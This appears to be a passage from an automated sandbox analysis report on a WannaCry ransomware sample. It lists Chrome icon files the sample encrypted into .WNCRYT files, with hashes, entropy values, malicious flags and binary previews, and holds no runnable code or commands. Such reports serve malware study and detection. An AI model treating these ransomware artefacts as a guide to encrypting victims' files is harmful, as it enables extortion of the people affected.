                                                                                                      SHA-512:BA9AC2804CC437E34D19FFF47EA7FDDF809016B699CFBDAA52B76A5C0EA47AB735DDDD6B3D49249B19F6FB1F08CF3C2B73E1A9AAB1A4D1B0AA36262B544FF0E0
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....,.+.hs_.q.;.mx_.:d...-....||j.lC-W(........c.!G.kd`.w.Mt.C<...'.Up/.UD...D....".f.f.0...:B4....V..z..i.....]F....Z....P 4.L0...W.2}u.+.&i....../.:....s.f3~.-[....-..1......Q7,jC.`$p..~.?.....[.w.NT.4..7yd.i.xL.m.).N4.CZ..q....i..Y.....*....i....Y;....9.......wOG..0..&.......X.........tY..S.F...hUX.m%.o.#......9.A.d..2....]$#.Qs.h."8..Ykq...;.3|.8_.+.....'..A...j.T....../\.N?.7{k.w.4.`..'lz.iS..*...2^.@.3.Rn.[#t..s.TP............^....w_{.u<....PV~........(.G....b.P.5Q.a.}..._*.VG..F....j4....1.n}....R...+..zK....Do:.='+...b.2a..../T.....F....1!.]...V..rB.:.*.>>.o@..jI..q..\w.Dl...4.q.i=.!6...l\.(k3.M..?.[...(.......<8..o..>......GCD./..~...W.Ps.&..dT.!.9..gb...gL....w..1.,...bA.G..KP.'<..;..s>.....P7.K8.2...T..].?...d>.{..7yC.}0.w..[..vc......0.E`..&..e....p..-.2...b..6.../ps...((A...."o..5.o1..,.Jo P...3x.`.&.LJ.I....D.(.R..|2K......#6&...n.../T.}....N.g..).h......K.#{M...:MVzZ.?.K...>.....d....iG;...A..Q.E.T).v..n|...>D5...qr.j.c..<a.

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):19880
                                                                                                      Entropy (8bit):7.990184909276598
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:wejWCtj0Z40renit8XfLDYvOErbQ9uZGcMLMD0I7MFO5:weZ75fYvOaou4ciMD0OM05
                                                                                                      MD5:4F7A1F56BF93CB749D193367E498CEE9
                                                                                                      SHA1:489DD6E2F517C9B1B009CA9A6A605F8BCE645307
                                                                                                      SHA-256:96B9F7222792BC3880CC27D03DBD09F22494A83B0E0203B21D1CDC0B32DF72CC
                                                                                                      SHA-512:5576C369EB119CF70270C7FC72975FCF6B3F827989199B75B0A5F7493DA96AF102C32B8528B6F9DFFF72881DBB130BF0D56D1D899CDFAE5A5C8A9B302F752CDF
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....l.w..[^..ZP.+...Y...m-.:.Uk...\.">...6q..J......wl..&,:=....j....%.).j..z\.Tu.,J..*1X.^..l=...`..v\.h.8......#.I,....k.....H.e.e.)..D..$v.x......b.O.#.2..s.@.<.C.TqY:.f..[..:....'.........t...8I.Z.Q...mmh?W..7:t.v.B.{V..x....8.ZI.R..;.....~..u.......L.......>.f7y.DN.!n.Hlue.....?V?S-..htR..=\...........3.5.)..$ba=.A`3..r.` ..N..h...>")@.ooc...Y...........xx.5..h.|..Sa.........X..i&...{A.Y..[...$#.b.i`...*.).e.^Xo.;..T.~..h..i.M.:D.O@.i.eZyy|...Q.`.TEnp/...].=z.....%..V..3HK.a......7.b..}.=}..u2.G,4.?03Q..5.....^<..%+^.......X:vJ.....]z..W.l...$.n~.1.5.+ ....C8..~,A)V..........#0c....b........J..1_&|...w....].....}i..H.....s..^....O..}.g../...h..;..@^/..p}e..{.{z.Q.%.e...'.._..6......?.Wv...>#...P..+n.2......~.z.d.........=../C..."...vK+uA. ..Q..2s.#@.G=V.^...0......#&,x.k......U.......O..l-....?[.....d.dR^..6!._. ....V.....C..;...=_.U..&..@".`.*.......#....[$....w.....Z...<.W@4.vZ.Z'..1....)...OP..1.J..\.Z.,.A.U..v..^.

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\32.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2104
                                                                                                      Entropy (8bit):7.897991923391271
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkkqJ6LWF+P6O2+YHB1IFPOcl1WMtmlIRlVdES:o5Jd+CXIpOcl0MeITd7
                                                                                                      MD5:D449FE092DDBB9DF57672E64FBBEDAA9
                                                                                                      SHA1:6F015A2BCBD073847130BF6572ABD79FFE2DACE3
                                                                                                      SHA-256:5CE9C381696FE22A3A8258AA2791D9C9BF8C1032339950D744B377332369881D
                                                                                                      SHA-512:7CA4BF10ADE40AFAC2C01C1B01E9EB4861A2D57D6D55F9CC509423DD740840CB81010D22C48061E9880A25D91257BD0612B1380ADAA227F1C3BAB001ABB803A5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!...._.j..T..n.U..U]X.b...1.}Z...?YJ.HZ....e.7C...U...f.U.@o.K.T.f.NZ.....O2.....2.Cm7;1...:.....`...=.1.(..."....0.P....e..o.z..A....a.W...7 d-*h..z.ms....9.'s.y.RX/.W>..H./..v.@H.%..+....d.^......%.q\1\l.8.....@..B..$....*5.S&..aFQb...:..C..:.7.............."...?Es...(.:.4@L...`.Q]T$MA...N..}..,1......"C...3./.o.f+(.m`."..K......h..[.M...=..oh..6L4.d.W.E.<.>..,.V1.J|RW0Q h.+c.z...b.._p....w.......Qz.p.Y.I..]........7~A.rn.K.-8...P....a.:G......O..}.`E..P..$.z...o.=.(.aO>."I<.q...$.#...x..K.."$..^6].?.-qn}.........e.g..Wt..U.*.y.b...D`...u..b.1.N....Q.......k../..Lf.........p.}.F0...}?...s..^.05....m*}....BF.E.........`A.....h.T.5.[..J.k..X..7.7.7.V..Um..........[u0+.~..l..sTk ...}n..pq....4..z.E&|.v.[....0.@..F.*..6u~..T=.5$*..sJ.r...._ ../.J..........s..nt.G.`'.....n...40T..l.2.a.$.G.OCM.....53.I......8k.!.o..0I..C.{...s...}exM.4............|}.G.\4.=........Dn{^...... ..L.4...-.6@j6..a..+.<uC.z..}6?.h.Mg.u5L.>..Z...C..2u.`...W.F.0.

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\48.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):3160
                                                                                                      Entropy (8bit):7.934332681633968
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bksuXn604NxzYzUfZ2K6dzPtHdlZ7KR4NyzJItoXhaS9c5O0kjsNjGu+KzaWv:oj4vRM/zDbM4NGH9r/jeCqaWv
                                                                                                      MD5:0858979385BA3F6BD55F55DE62E827EC
                                                                                                      SHA1:E8D1720E13C9A5DC94D0A8EAFACEDD0B4BDEF58A
                                                                                                      SHA-256:15D5D226179D244013BE57B1BB9FD68D4D360A58CE57B61DA94972DFF869C937
                                                                                                      SHA-512:A87F95B4D7FDC0AB3C4C3874DC4B65AAB9393FB1763E52F2C9107DD3C980FB0EEB472CC727A95F67C3613AE5E73E364F1AD11EC78173AC71784AFF72CD56B50B
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....-.kMA......P.rN...`*.Eq....]..S.8....4.lb.o."..B...2......;.?@r...j.........b-.....*......g.g.tn..PW....N${..f..u.k/:.u.......C.t.|..sl....F..S]w\..:H.....{d.9.P.Qh<..\.....s..4%..^f.Yc9.6.Q.!..>RG.pwU?8.F7.LJ.k..{.._ V8....\.a..\^F.$|!....].cJI....3.......Rf.n..B...D."...g..._..J#D.9...I.p.,....}E...X..L...~...1!.-..../..0.Cr.....G......'~...r...\A.)...w..s....J..^.z&9.2..;^.....l.....H.5.C.....c.MA.J\.t..M.PWb..?.X+7...U.DNx.....5..$B...&....X\bE...3.......&...TQ).. '.U"jM)0Dw.'.t.NR,..h..[.+p...4%z$........~.p............W.Ah.%.Z.?Z....P.[......s@...d.+@..!..3.6..M.ku..C..T.,`..9.%s..]....H.Y.........@.....6%.%M-O\R!.:_...P3...p...h..@.~.1.o\.../...Z...a.vf...D.)6&....f;>.|F......GC.1-..Z1z...@9.'..lW....... ..m7h-?..1.O...[....K...1...]..0......I.h....Sm...t..~M..5.g.&.MP...Yq.w.-n..Au...;9...|x.L..eO...t......P..$...}.,.w....]..| F..".....~i1...^ ..+8....X..-..B..]y.n.u.F/.+..|...._....F@.....Tl. .U...Mz:KHY..x.4.]..:.........

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\64.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):4120
                                                                                                      Entropy (8bit):7.954453551846899
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:o4YP2ta+4gDlGZqbtuEz35F4B121eteWq4T6bpOG0EilXS+na:9M+4CsEzJFs214bTspOGsFa
                                                                                                      MD5:E2E61E8FEB9E535096881A98A1A1BE70
                                                                                                      SHA1:2AD3CCDF302E3B55300A7F6D3AEDC12A0D879CF4
                                                                                                      SHA-256:E3B3530EA8F0DEFBEDB4AF6592ABF8158FEC0628E1B40E5711A21DED0BEB028E
                                                                                                      SHA-512:D4D5537FB2DA3D89EECF9BBC47126785F18FCF377974A9EE7396F76734116723D8DB005C3B73DD110E9458F37CA4CF793FBE74C914476181375125D951740E75
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........&>..QL.sC........v..eA.s....QL6...E.W.. .mb)\..."..f.....V.1t..f.yB..sRf.......+."....{.E...3....'.f..Y.+.............B..M.M..0M..=..&l.5....=..h..y.k.W..4....e.......Q..fh...A.$...`.....".........R].s...n.i..6..Lt.!..W....!!%.T#......zt...M.............<.-.........h..)*j.ca.@...!9./ut..k]T.....60.a...A...D.e.0v.!..t.8^..:79w..|.El.....-.H.=.c.......e|.m..0...ysn.?.......q..&se".....{B......W.z..G..G.h.}e{..o ....D|3Zp.U.....C.!..{W....O@s.F;X.......w'..........&H.c..('..s.....N.}..K.b..d..V.M..t..-..!j.h.C.r...v....x.x.|..........,.....>/~].*....Vn8.s.h....!./._...@J}....u.y....1....i..P....x(.f.xcW..}.aV%..Z."iH.".....r]F).w...d{..V.<..#.....^=..B.".8.......;+.......S-.......4PX... r.c.}...h.....lG.j....R..ao...O.".>.._g.E=.t9~..=%B'B_&U...8.T...%.r......\...?;.1"2~..|.. ./"N......f....X.`.,....."..$....-.v.x..S...w..>M{....c5N.W..q...:^..?`4W....!.Hb.....7.F..........N.UeY..}*j....DNC6y.n.....(...,O..w.......pU..g.5-n.

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\96.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):6056
                                                                                                      Entropy (8bit):7.969832649617026
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:o812A2CB6IQwMsE7omQokXg6wQhPZmTjIikjBaNN2clTNbxe5C5bXXHXJte:p1z6BswQLXgjQhhPHN3chNxDXXJ0
                                                                                                      MD5:26A9387F6655DEEE6BFDE8B782BED970
                                                                                                      SHA1:3DD2956B31B0D276B3AB925C90CAC5841598C655
                                                                                                      SHA-256:EFB813239C9F766BE8527D2D4DD3F080D26C335D10FFD55DB18169FE60929D24
                                                                                                      SHA-512:33ECBE563A27C62BCB864DDA79B2E62BC2ED54EB042A349174579A579DA0BB73BC66C095DEC1F49A79B2A500F68D2299B8C586EEE829A0B8D6AC76ADAF94DAF0
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....3..U@.. v........O0.k.."]........n...UR<.Vf..{..P.90.u...Y?.fm...h.......@....&d......_..~..3.D..h..j...g.+"l.&FP.j.5.+......W...y...~...............X#.......<...'9}...u.cnJ2qQd5.Z.....Zb.`@..k.52.@.....!1.`.[....|.#......xX..^~....u..}K(...............c.TM.Y1\.'d...b9w.}12...q.....jv.1...#..io&I.V(..*...E....Tor$././..#. .......y^..^7}.44..)....}^...V......z.H.JM..9..w.r..J....Zm.e.....|#....P..c|P..V..t6.r:..np0..W..K...C.)...o...=O...[.zWi.;%/b..........6.....(..Mbs..G..y...... '....(!..."..$..x..S....q.7....z.{...n..\X.t..N....l..{.C...r....Y?...S.x,3w.II{&|&....... .X/.<.......B@.K.8J......u.(.[x.....&..h^3P..KV2....;.y....Ey!q.K.v&..#........||........c...5U.&....5Q(.o.o*rK?'O....r.i.@Z.."R.gl.....Wgx./.D..C.C.O..W.2../.'N).&"I.>m*.Ar....K.F6..W..>..5i.._.\%.dr.N..@..4..z........z.1.....L8..j..`......I...R8..F..."R.$..9.+[5}..[.C.r.X...e...lm...~s....6x.8.w......c.....E+.....H.....r.b|&.t..S.._U........6.s.W.c.._......

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\128.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):10344
                                                                                                      Entropy (8bit):7.983307058377571
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:yQOK7rXWLWpzWe+o+WWwRIO4BI4PU7p6dy77RRNUp644AtYr/s6Y:5OBLWp6vWDRCBI4PUVky77RRGtYbs6Y
                                                                                                      MD5:AD6E1600F5342EC2041FEED0DEFD09B7
                                                                                                      SHA1:E30AB966FEDD9F4C571845C80350297CFE7A9B02
                                                                                                      SHA-256:2925D71B55F5FEFBB17D22F62440616527E86EB562AAF6EB6AD0841A954D7146
                                                                                                      SHA-512:2AD748290C6FBC3B5157DEF29E3CAB6004F2C5F557D6F4F985D889E18A8FC722F6682B3BCA9330A091849612CD3F2BFF449312409BFDCBACB5A97F37C95C413D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....... . z..........#m.W..Y..uy.|...fbW.x.W....4c..I...Z%...~..F./2dd.).........;qJ)d....vaW...^..}.i7.e\9Q..3.XP....Jp`..bs...}..x=."..(.........H..5..f?.T7....9...m+.W..fY..Nc..L.=.........k=....w..... .0..'=.h.R'?.q..QV...[.. .....n..3.3M..e>...x.....P'......7pqY..E.<p...\XX3.F\X6...b..w.1..x..M..^.1h..l.Td-S..906Kk.D0P.@.........J.w....}g.$.n..t.X.X..!.`.6*.._`..p.l...x...D...S;Dj..I._..(Y.....IQ@...PF......Nq..B7KJ..I.d...g. `..[Y~?~........H...?..?..`....a_.k....S....N{).......=.....;...{...1...\...-..m.....\L.&).....a.UB..|....._$..Q...Q....)..(.=@}.\.Z@..e.....O<I&btY...2..-....-.,..}........Ja?.V.#..5.y..\T".y.Y..Sx....G..N.}2yl....mY..N.&.).5d..{j....".X>...,.V.)-.....Q.)...4_.O.^.L.T.i..`I..Z..da]...cd....t....I.k.kk.f.._....h.........w..?..;!....]+..Gj*6.pm...t...Hw.!K.mhy..k.t.$..M....(GP...._B>..2.v..L...:.........1.. .6.4..aT.iyE^8?P......9..<...P.3..[..%..iHzt..<c....N.....j.9M.....m.../e.}%...p.U.U.4K....3.......p.m.(U..{

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\192.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):7240
                                                                                                      Entropy (8bit):7.971842667461275
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:TPuHBEZihKKf3bVncD/q85virUNHLxxuHZX:jSfzVnn85virUNrxxc9
                                                                                                      MD5:B80B7316BA7344023B74162DD1791A8E
                                                                                                      SHA1:54F14503E5F606FF3F82E9572300F1697C195AB4
                                                                                                      SHA-256:379E7BA1F81280C5235E72827D04EF289DA598DFBE7BB571348D4BA37A3199FB
                                                                                                      SHA-512:A072C7CCF4EC89BB891CECAD4DC798B5DC9E4546723F041E97C4B1A6FFA2007E410C6ED59C0F82A6B5788C0798E317940E23D9340C800BBB177C634EEB026079
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....%......W...Hd.W...V.;s.....+.8.j...+...h:."...!..y...vU@.i..X...L%..a!;.A...X..k.x.A.;....z.*..W...M..@v......S.G%...u..nA.._YU.q?|$B..1....j."..^..3....Y../..{.].....+..j.T8.....;.j`;D.;.>.U..X0...I.7.*$.\..........u.9.M.B....b......U.b..".....+.......Z..8..`..P.'...W],.5..?..m.....5...9.PU...<SP..:....../.G.I.)..)-...0~.3....'.?..Gw..V.E.2l.K..^.e..*6.H...'.H....0.....,o.c.;..KG.9Q...&7.z..g.....F^V...........3..\.N.........Y.|?...Lh......QtXWp.....[4W.Y.]................B..+uH...l0.m,o7..2....v.q.........d.BJ.....3.j.&...p.l?.q'.....y..+.9.<Z.....eH.v.O,u>|[...v...,.....<.I.Z..v2H.08...Xu..(Y.].....]...D....B.(....HAT_vs#....gr....T.....P.@=^..J...n....-.....%?..b......G[.q,.w..vC.P.+Sd.r......Io'......9.o~s.C.d...8JyAD.......g..'@......Nw...r...9G...Er..q.>n...89/......q"yU...J$}X...T.o..s..,...r.........E.\..H.X... .}...pQ.QG.#@L.jc...k....%..KiW1w.....o..C...4/.....8...,.......5.U.....p.B.hU.Sy...2.g..y....t.X....

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):25624
                                                                                                      Entropy (8bit):7.99294394266967
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:uxwPObZYgER96ji1TxD8wbZC4/5+UoR7TyaQVS:uxwv6mVpCeIUsEVS
                                                                                                      MD5:BF2647EF8067C5660FDE7BBF6C00B22C
                                                                                                      SHA1:7E4A719A53D1676E2EB310FD5DD7D3B37F7531C4
                                                                                                      SHA-256:F6F8C97C6AAF070ACDB8690602622903CF09B4D2CEA59BE99B5E4CD7D1E4BBF9
                                                                                                      SHA-512:0632EEDF9709B6E19F2CFAC403EC1EA31E58C5B9BADA2229D2173827674B13E4015F85E58DC42C914DB76D50E21A23E5FDB1131C127D67B3AFEE10818999D1C7
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......Y{..d'.r.S..b1-5d.v#.1.5.<H.G.2x[.....SW.F..0W.3..rM..[..........+...7.q.E+.jc./..h..U!..h..T.....,.....~%..z8.I&.....J.$MQ..ux.>..f....dn...~F.}.@.Sa...r......L..c..x|.......|y...w..H/..:.r.?......|T.wZ..7..D..;.Gk0.5D.{.UT%..+..f3u....N.....b.........T.E ...0.i..^d.b.Q....`.:sc......m...`h.6....+..3*/@^5..elZR..).;..C....bs..BoDv....0...{D.^.|P..M....3.5(..(..P=.jf..4..J8....e.4?.}...e....0....Kk.Y%..........8.M<.)...rj........!&......*...w......z.$.&.[.h`.(.:...Lu.&.&.Ch.8............D.[0.B.6.........."L.q.lKV.).. S..?.qL...O'..M.a.C!.<^...q......v......`.._..#...un.......NI.<.W..b%.#.-....9..'7@._.f+...0&.g,.&...:.D..fx.[}..MU.@g...y..`P..57..bGAr. =.*...*.&3.gm!ij.....A..L........g.Myq..|.?.i<.*..*'..4..P.O.Z....B....]L......Qb....sK.R>(.qyQ.q...z|...F.U.h..`...L..?..._z>..a..K..;..S..c9....:...........]..(..Z.. .}..._E....Ui.-.P..b)...T......C.`.......cSa.7gg:.h!]..N.GHR.......yVf..?......7...`.:.r..:{x./.NH...X

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\32.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1784
                                                                                                      Entropy (8bit):7.8878500279669455
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkBmMuPlSt1HbUp+nJ55eJAwWx4t7B+B5d:oBuPQnUObeJAwWx87B+B5d
                                                                                                      MD5:8621F448A611E8BFB1EB189E7B2690AB
                                                                                                      SHA1:A91AB3A9466611F084F69696085441C2E3AF68CE
                                                                                                      SHA-256:012111939A5E45CD998AFAF49FE1DDE4EF7E388CFC03BFBA6C678E42C7058904
                                                                                                      SHA-512:E69BF92C82122B59325B33C3E148A93AD59B9041609FDD3BBF22551E76286B981B753CF6D74FE245A92A17EF8006A6A6163BED8ED62A3B18235A81812A325D47
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....=$r..A."<..]t~,_..x_.Y.....b4-[....6.0...~.5.U.W%.J..0./.6-...x8L...y...,.5W^d.b....'}?'.-..:\..i..y....k....&.84b\..8.x..B....^..k].61h.;Y.n......I.c....r.;..].8..j*..4<.n,G.c..wp.B.5.y7.r...)..j`..W63...04.8i.|._w.....iR..A.K.....Z.M.....c.............K.t?.z^.X..T.N..W }.{..K..Z......{K...y4.T.F..*w..y...)...Zw..r.r......i...................?.Q!5..z..OF..3o.]..?r.RH....O../.....k....+.&.Y....U.f..4....E...rV..6.U......K.W...>fk.E+lk1..P5..T.. .U...<Fq>..9!O."S.. a....{...^....g..&..-..VU.,..~.jM...u.I.g.H..m.W.ZH..1......d.:...=.....h../S..)..j..I.4...q.DLU..8..4.!..Q..(.....c....0....."....._.[y...D@..s...Y,I8M.}...I.^.....[w.L...5tDD.p..DyT=n-..C'#..B.J.W&...s...n.CU.q...[.!.j..p..M...WW...s...D{@.\{..fD.K4-..3..q}......+W.z.l....U..{.....".I....`.t.$...U..H.=.<{.....=.`.4C......:....E2\...O.L...1.a..9.C.X..wA.h..$..V..i:.....r...8@..BZ..W...1..;.c....m/m2.wI-..t@y-.q6[=G.=...t....F...Z..N.8D.....Y..B0X.h~...!..W.3Q...0

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\48.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2696
                                                                                                      Entropy (8bit):7.92482420727811
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkViDBOPLslABm8AmUHwoAOrhmYpYhg8IQtEIRecVc6TPSbV7r6TG62hA:oVi1qiTIlOsTg8IQttRecOr7r6Z2+
                                                                                                      MD5:EE2BBE1564AE822E2B5D398776949554
                                                                                                      SHA1:AC82040A7F9402B47F1AB953BCDAF8556CE34764
                                                                                                      SHA-256:B1276373695D6ACE20E7D80AA8857228E4CC799409C53D8D2DE506BAE42612C0
                                                                                                      SHA-512:6FE970E6A136E755F08D636B2C7B62E75AC3616B8DC18A14296E562177ADA2491388F953DFC1797EB7064C6479662444F1B6520886A498C407EC2ED550B50561
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....T...S.....,\k^.".5..o........i^}...G..........(q.%....76...v.n..Kw.......4..........If..=k..=....&'B9_..9!...5......'.......;..i.....,..s:..m.\.0.!G.s$.n&.....m........8...5.Q..MY..'..8.Z.E8.7/..v.A".....U...2..()..51I...t..S..j./.zs`_..xt,l]`.....m.......0..........s.l.,.L*..k...h...#..-....:.F.;.k...k..9)..a.......<....>6.z...4..L..~Bc..M<".0..p...'..a..Zd5...X.t..x.*.]nA\kB.<../.J.>.a.=. .<.g.....1.(V..A.$s.2....O....;..R8J'A.....[.,..^2..X...&.N,.Gom....A...`"../.f.<)......s....U(6F.t......1jSc....$...7^.....4..fB...og"5...&.4..x%...>.3.}7M;...2...m.......+.Gj.>.i+9.@.......5..Z........$].....c.J.9.].....<bi....lo.D.......6.q.Za...`N.....`.f:.d......;...7.S0.w..p..Gy.\...%.*.`..<.V.T..C.......8..].~6P..#zm.-......[cz..[....x.._..."......1..(......D.`uHI.^(.:Yo......$wVvY'.n.....t.(.......!..I]..Q.|L.....?.....6.D.c..b!.PjR..D.Y..i..Hq3..no..=0^b..3c=.v.X.\J.#.RA.#....sG..am+.=i`..].i....B.i...{x.Ku...r.6.+......7j.s.....

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\64.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):4072
                                                                                                      Entropy (8bit):7.95335803003055
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:oWoSJDE8WVwiCn/q7jaM5AwSKiJzPsBbLPwDSYnejEc9W/lpjdeAQbC5V:6Si8WVw3n/4GMerKiJzPsBbLPwD+jEb9
                                                                                                      MD5:BF8F95C8B37200DB15A2C8A2A6AFF988
                                                                                                      SHA1:5C14EB58681F93E195FB4D1330B779E62CC4122C
                                                                                                      SHA-256:9D359E1BA92A62A80D4E1B88D8ECAC814B319CCBBFA76C4A81775D82BE6CDCAC
                                                                                                      SHA-512:2012B5F4CFED78567E8E5E273807C356A2074D76D5DFB81EBE74E1DDDE15B02EAB4E7AD01303F4534F383FBA8C55D1CC272FD20DE191A5D87D186A9DF43C3EDA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....:ql..6.0....fG..b.B.C...S.......^j.BN..]`g...D\m.N.....+..7.5..:.=...........(4O...9.~..].....m...vg..mB...W...Oe.*..O.....Q.Vx....`........4.cK$.........&..r..|....mPE..^..........{.......M...(.........K}..$k&{....H..A..i....;E.........0.c.............r>.3 ..B..>...SK..s`..#=.r4Wte.M....;....\......If[.U..>j.N..p.........6$.S$....0.U....r...%..\....,V...xsI.....PdEW..".;}!a.lh..VQ..."n1l.Ie.|SI._...X..Z....S$...J..~U..l1.8..._.>/...3U..DH...G]..Y...%.<E.F...3.~&.64....r1.C.e.I}...!Dt-....s...".Z.N.WI.%>...........6A....T[.{.5=...;...7FE.......H7.2C....w...z..?I.%..q....`2.}>.td...fA...`..+...&.&M9w........,...?.D..I..t...7q#Be}........n..Y...=[:.-.p...ST.5...pS:l.(......@..r.?ad..Kc>...>..`.J...q..^r..*.=\].+.-.W4...P\.&Ug.....i...cT.`....fUrP......H.V........m{Ig..C....K...=.2S....k...X....f`...YS`..h3b.......F.d...?.l.ev..m..:..m"..V..V.].....L..6-.T.f+Wt).....i.\..nj..8%@[EL2..F.P...W.l..;h1.4.......d...V...V...v.

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\96.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):7000
                                                                                                      Entropy (8bit):7.973585217731005
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:CFuQD+BQCvp0URtREQJwYW2rVCSB1v+58H:2yBQHe/7JwbSVCSno2
                                                                                                      MD5:0AE44A66FBDB5532CD2ABBB0BD96E4D7
                                                                                                      SHA1:DAFCF6CEEDBE815CD5F6C075953411AFEBF6EBCD
                                                                                                      SHA-256:E685670E4A2DD835CC76D20FD2A9869C8C6C9F68190DFBF03436F28FE4C6E2B8
                                                                                                      SHA-512:A89FFDB69B4E45CC13D064892CD8548DB8E78A1A430E5133D1E68EFFEE426504E32AA48CCD69EECD3441116CA784A7A4D1B27B3F68DBEEB359342C736810E836
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
